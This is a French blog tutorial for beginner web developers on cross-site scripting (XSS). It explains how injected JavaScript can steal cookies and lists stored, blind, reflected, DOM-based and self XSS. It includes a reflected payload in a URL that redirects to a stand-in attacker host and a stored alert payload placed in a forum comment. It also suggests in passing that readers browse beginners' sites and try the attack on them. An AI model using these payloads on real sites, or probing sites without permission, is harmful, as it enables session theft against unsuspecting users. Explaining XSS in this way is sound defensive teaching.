Aide En Informatique
Latest Posts:

Comprendre les attaques XSS en javascript: c'est quoi XSS?
Comprendre les attaques XSS en javascript: c'est quoi XSS?

Les vulnérabilité XSS (Cross Site Scripting) parlons en?

Nous avaons dejà evoqué sur ce blog la l'injection SQL ou mieux en angalis "SQL injection" qui est cette vulnérabilité qui consiste pour le hacker d'injecter ou de modifier les requetes SQL dans votre code en backend depuis les formulaires que vous en tant que  developpeurs, mettez à la disposition des utilisateurs dans votre application web. Aujourd'hui je vous parle d'une autre vulnérbilité, beaucoup fréquent et facile à mettre sur pieds qui peut causer énormement de domages dans une application web : XSS en quoi consite t'elle?

la XSS consiste pour un hacker de réuissir à injecter son propre code javascript dans votre page web... vous avez compris? c'est ça le cross code scripting, en parole simple le code d'un autre developpeur qui s'injecte dans votre page et votre code javascript et peut causer de nombreux domages à vos utilisateurs

vous avez realiser votre page web et comme vous le savez, une page web peut contenir du javascript pour rendre la page web dynamique ou encore faire des requetes ajax j'en ai parlé ici , le javascript comme vous le savez, quand il est utilisé dans une page web, est consideré comme un langage frontend, donc manipulable dans le navigateur de l'utilisateur, si un hacker reuissit à injecter son propre code javascript dans le flux de votre page, alors il peut à partir de son code manipuler le DOM(Document Object Model) comme il veut, voler les cookiees (generalement le cookiee ce sont des petites informations que les sites web sauvent dans les navigateurs et cela permet de reconnaitre que les requetes HTTP proviennent du meme utilisateur, donc si vous allez par exemple sur la page web de votre banque et faite une oeperation dans votre compte bancaire, la banque generalement utilise parfois ce cookiees pour sauveguarder les references sur les requetes faite depuis votre navigateur et si un hacker se possède de ces cookies, il peut à partir de son code javascript faire des requetes comme vous sur votre compte bancaire et le vider).

Supposons que vous avez le formulaire en image 1

donc l'objectif est simplement celui de prendre dans un champ de formulaire l'email de l'utilisateur et lui souhaiter la bienvenue sur votre site web. Rien n'empeche n'importe quel utilisateur au lieu d'inserrer seulement l'addresse email, inserre plutot par exemple du code javascript, comme vous voyez en image , un hacker peut carement y faire pointer meme son script externe qui se trouve sur son propre serveur.

Cet exemple peut ne rien signifier car le hacker sera sur son propre navigateur donc il ne peut pas commettre de dégat en dehors de son navigateur, vous avez raison, mais supposons que pour les memes fait, vous en tant que developpeur avez mis un lien pour une souscription automatique a votre "newsletter" en inserant le lien suivant quelque part dans une page:

https://subscribe.example.com?email=SUBSCRIBER_EMAIL

pour faire en sorte que l'utilisateur qui clique ce lien, sera automatiquement enregistré dans votre base de données pour recevoir les "newsletter", le hacker a noté cette faille et du coup il se fait sa petite idée et comme votre site est très frequenté et contient un forum et lui meme est membre de ce forum et il y a meme des groupes de ce forum ou on peut s'envoyer des email de groupe et hop, il decide d'envoyer un email à tous  mais au lieux du lien ci haut, il met plutot le lien suivant:

https://subscribe.example.com?email=<script>location="http://attacker.com";</script>

vous avez compris?, tout utilisateur ignorant qui reçoit le mail du hacker et fait un click dessus charge  le script externe ou mieux le code du hacker qui  fait désormais partie integrante à une page de votre site et toutes les resources du navigateur de l'utilisateur sont à sa merci car le navigateur va penser que le script externe fait partie integrante de votre page et donc il peut lire les cookies, et les token stockés dans votre navigateur et faire de cela ce qu'il veut.

L'autre possibilité d'injecter du code javascript dans une application est dans des site web type reseau social ou mieux des forums ou encore mieux là ou les utilisateurs doivent intervenir pour faire des commentaires, imaginez que dans un commentaire de facebook, au lieu d'écrire du commentaire vous mettez du code javascript par exemple:

<h2>Vickie's message</h2>

<p>What a great post! Thanks for sharing.</p>

<h2>Attacker's message</h2>

<p><script>alert('XSS by Vickie');</script></p>

et supposons que facebook n'est pas pris de précaution pour la vulnerabilité XSS (et beaucoup de sites des debutants sont vulnerable au XSS il faut parcourir les sites et essayer), le script sera sauveguardé dans la BDD et tous les utilisateurs du forum qui ouvre la parge ou il y a ce commentaire seront affectés et verront cet alert javascript car les commentaires d'un forum sont dynamiquement construits en lisant de la BDD et bonjour les degats pour tous.

les types d'attaque XSS qui existent sont les suivant:

=>Sored XSS : par exemple celui injecter dans un commentaire d'un forum.

=>Blind XSS : vulnerabilite du meme type que Sored XSS mais le but est d'attaquer dans une autre page different de la page ou a été injecter le code javascript

=>Reflected XSS : dans ce type d'attaque, rien n'est stocké dans la base de données (c'est le cas d'envois d'un lien par mail comme dans l'exemple precedente), le script est seulement manipulé coté serveur pour donner une fausse information à l'utilisateur. par exemple beaucoup de site propose des zones de recherche pour trouver quelque chose sur le site, une attaque avec du reflected XSS peut faire en sorte que l'utilisateur reçoive du contenu dans la recherche qui ne fait meme pas partie de votre site web.

=>DOM-Based XSS : meme chose que Reflected XSS seulement ici l'objectif est de modifier completement le DOM

=>Self-XSS

Voilà j'esperes que vous avez aussi augmenté vos connaissances sur ce type d'attaque, du moins pour ceux qui n'en savaient pas, vous avez l'input pour pouvoir faire des recherches et approfondir, comme hier dans le sql injection, commenty fait ton pour eviter les attaques XSS? vos réponses en commentaire.

Bon coding


Author: admin
13.01.2023, 12:09
Category: Other
Comments: 0
Views: 316
-

Share

Comments (0)
There are no comments yet.

Leave A Comment
processing...